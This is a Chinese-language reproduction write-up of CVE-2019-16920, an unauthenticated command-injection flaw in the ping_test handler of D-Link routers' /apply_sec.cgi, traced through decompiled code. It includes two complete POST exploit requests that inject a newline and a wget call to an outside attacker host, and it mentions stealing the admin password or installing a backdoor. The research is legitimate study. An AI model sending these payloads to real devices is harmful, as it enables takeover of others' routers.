CVE-2019-16920

复现D-link漏洞研究,原文链接

登录操作通过/apply_sec.cgi的URI执行,快速浏览代码可以发现apply_sec.cgi的代码位于/www/cgi/ssi二进制文件中的函数do_ssc(0x40a210)。

current_user和current_username的值取自nvram:

image-20200827094646542

image-20200827094941083

然后,该函数会将current_user的值和变量acStack160的值进行比较。

image-20200827095208631

current_user在NVRAM中值只有在登录成功后才会被设定,所以默认它的值是没有进行初始化设置的。acStack160的值是base64encode(user_username)的编码结果。并且默认情况下user_username设置的值为“user”,所以iVar2(strcmp比较结果)不可能返回值0,因此不会返回error.asp页面。

在do-while循环中,这个程序调用了函数put_querystring_env()来解析HTTP POST请求并且保存了值到ENV当中。接下来函数调用了query_vars(“action”, acStack288, 0x80)。(这里是怎么认为是action的呢?通过前后的条件判断和错误信息记录返回,可以知道与action有关,但是要是要我自己判断是action,我估计做不到)

分析ssi 应用程序,url为 /apply_sec.cgi 而表单元素action值不同情况下请求响应的原理以及利用

注意

文章中所说的action不是表单form属性中的资源action,如:

1
<form id="form2" name="form2" method="post" action="apply_sec.cgi">

而是表单中的输入单元的属性名,如:

1
<input type="hidden" name="action" value="ping_test">

image-20200827095819451

image-20200827100033147

这也就提供了action的值,也就是值保存到了ENV当中acStack288变量。如果成功,那么函数返回值0。

当iVar等于0,我们就会进入if条件,它将URI的值与”/apply_sec.cgi”进行比较。如果比较成功,那么ppcVar3就会指向SSC_SEC_OBJS数组。否则它会指向SSC_OBJS数组。

image-20200827100944207

现在,ppcVar3指向了SSC_SEC_OBJS数组,该数组包含了一系列的action值。如果我们输入一个不包含在内的值,那么程序就会返回LAB_0040a4b8,也就会输出错误:”No OBJS for action: <action input=””>”

image-20200827101804481

可以在之前返回error.asp的那段代码中中看到发生错误的身份验证检查的位置。即使我们未经身份验证,代码流仍会执行,这意味着我们可以在SSC_SEC_OBJS数组“ /apply_sec.cgi”路径下执行任何操作。

SSC_SEC_OBJS操作数组在哪里?它在函数init_plugin()的寄存器中:

image-20200827102301983

当我们转到地址**0x0051f294并将其变量转换为单字(word)类型时,我们可以看到以下数组:

image-20200827103039236

在IDA中变为DoubleWord格式(不会这里的快捷键,手动实现的),IDA帮助我们识别出来了功能。

image-20200827103901340

注意这里的ping_test功能,进入函数sub_41a010:

image-20200827104209541

image-20200827104257557

这个函数从参数ping_ipaddr中获取其值。它通过inet_aton(),inet_ntoa()函数将值进行转换,然后执行ping操作。

如果我们尝试输入任何特殊字符,例如双引号,双引号,分号等,则ping操作将失败。但是如果我们传递换行符,例如:8.8.8.8%0als,我们可以执行命令注入攻击

测试exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /apply_sec.cgi HTTP/1.1
Host: 192.168.232.128
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 131
Connection: close
Referer: http://192.168.232.128/login_pic.asp
Cookie: uid=1234123
Upgrade-Insecure-Requests: 1
html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http://45.76.148.31:4321/?$(echo 1234)

我们通过使用POST方法请求“apply_sec.cgi”来操控ping_test 。然后,我们在ping_ipaddr中执行命令注入。即使返回登录页面,仍然会执行ping_test操作,ping_ipaddr的值将在路由器服务器中执行“echo 1234”命令,然后将结果发送回我们的服务器。

测试图片(空)

此时,攻击者可以检索管理员密码,或将自己的后门安装到服务器上。

另一篇文章的二进制部分分析如下:

通过对 ssi 应用程序 启动流程的分析,ssi应用程序会对 url为 /apply_sec.cgi 请求进行单独处理。

img

对于url为 /apply_sec.cgi 请求,根据功能的不同,为其注册功能相对应的响应函数,并在结构体struct_api_map中记录,并形成action_register_buffer 注册函数结构体。

根据分析结果,定义 struct_api_map 结构体为:

img

action_register_buffer全局数组如下:(这个是怎么用Ghidra搞出来的呢)

img

在ssi 应用程序的 main函数中调用 init_plugin函数,设置action_register_buffer 的引用

img

img

当 /apply_sec.cgi 提交请求时,程序会根据表单中的参数 action 的值,从注册函数结构体数组中查找对应的响应函数,并调用处理。

此过程在 do_ssc 函数 中处理:

img

在 do_ssc 函数中对 url 为 /apply_sec.cgi的请求进行处理,具体流程如下:

  1. current_user的值 与 user_username经过 base64_encode 处理之后的值进行比较。

查看nvram的默认配置文件 nvram.default 如下:

img

1
2
str_current_user = (char *)nvram_get("current_user");
str_user_username = (byte *)nvram_get("user_username");

img

  1. 获取表单 action的值,验证是否为 /apply_sec.cgi 用户登录操作

img

  1. 根据action的值,从数组中查看是否有对应的注册函数,如果有并调用处理

img

到目前为止可以知道,/apply_sec.cgi 对应的表单中, action的值决定了ssi调用不同功能的处理函数,因此 可以通过伪造action的值发送不同的请求 ,来达到我们想要的目的。

对action=”ping_test” 响应函数 FUN_0041a060_ping_test 进行分析(含有命令注入漏洞)

i. 在action_register_buffer结构体数组中,有这么一项结构体:

img

ii. FUN_0041a060_ping_test 命令执行流程如下:

img

程序对于 action=”ping_test”的处理流程为:

  • 获取表单元素 ping_ipaddr的值:str_ping_ipaddr
  • 从str_ping_ipaddr字符串中,获取ip地址:acStack_ipaddr
  • 将ip地址与命令语句进行拼接:sprintf(cmd_ping_buff,”ping -c 1 %s 2>&1”,acStack_ipaddr)
  • 执行命令语句:__stream_00 = popen(cmd_ping_buff,”r”);

通过对流程的分析可以知道,程序并 没有对表单元素ping_ipaddr的值进行安全性检查,因此存在命令执行漏洞

iii. 查找是否含有符合要求的表单文件:url为 /apply_sec.cgi 并且action=”ping_test”

在系统文件根目录下执行查找语句:

1
grep "ping_ipaddr" ./ -r -n

img

查看 ./www.wizard_detect_wan.asp可知是我们想要的表单

img

1
2
3
4
5
6
7
8
9
10
<form id="form2" name="form2" method="post" action="apply_sec.cgi">
<input type="hidden" id="html_response_page" name="html_response_page" value="wizard_detect_wan.asp ">
<input type="hidden" id="html_response_message" name="html_response_message" value="<!--# echo html_response_message -->">
<input type="hidden" id="html_response_return_page" name="html_response_return_page" value="wizard_detect_wan.asp">
<input type="hidden" name="action" value="ping_test">
<input type="hidden" name="reboot_type" value="none">
<input type="hidden" id="wizard_detect" name="wizard_detect" value="1">
<input type="hidden" id="ping_ipaddr" name="ping_ipaddr" size=30 maxlength=150 value="mydlink.com,dlink.com,dlink.com.cn,dlink.com.tw,google.com" >
<input type="hidden" id="ping_result" name="ping_result" value="<!--# echo ping_result --><!--# echo ping6_result --><!-- repeat name=msg -->">
</form>

执行远程注入exp:

通过远程ping 自己开启的8889端口,并执行命令: echo EversecLab,输出EversecLab,ping_test请求利用:

1
2
3
4
5
6
7
8
9
10
11
12
POST /apply_sec.cgi HTTP/1.1
Host: 192.168.0.1:8080
Content-Length: 136
Cache-Control: max-age=0
Origin: http:// 192.168.0.1:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://1192.168.0.1:8080/login_pic.asp
Accept-Language: zh-CN,zh;q=0.9Connection: close
html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http://*.*.*.*:8889/$(echo EversecLab)

输出效果:

img

上文提到的通过默认用户名和密码登录设备

登录前

img

点击login, 登录后效果:

img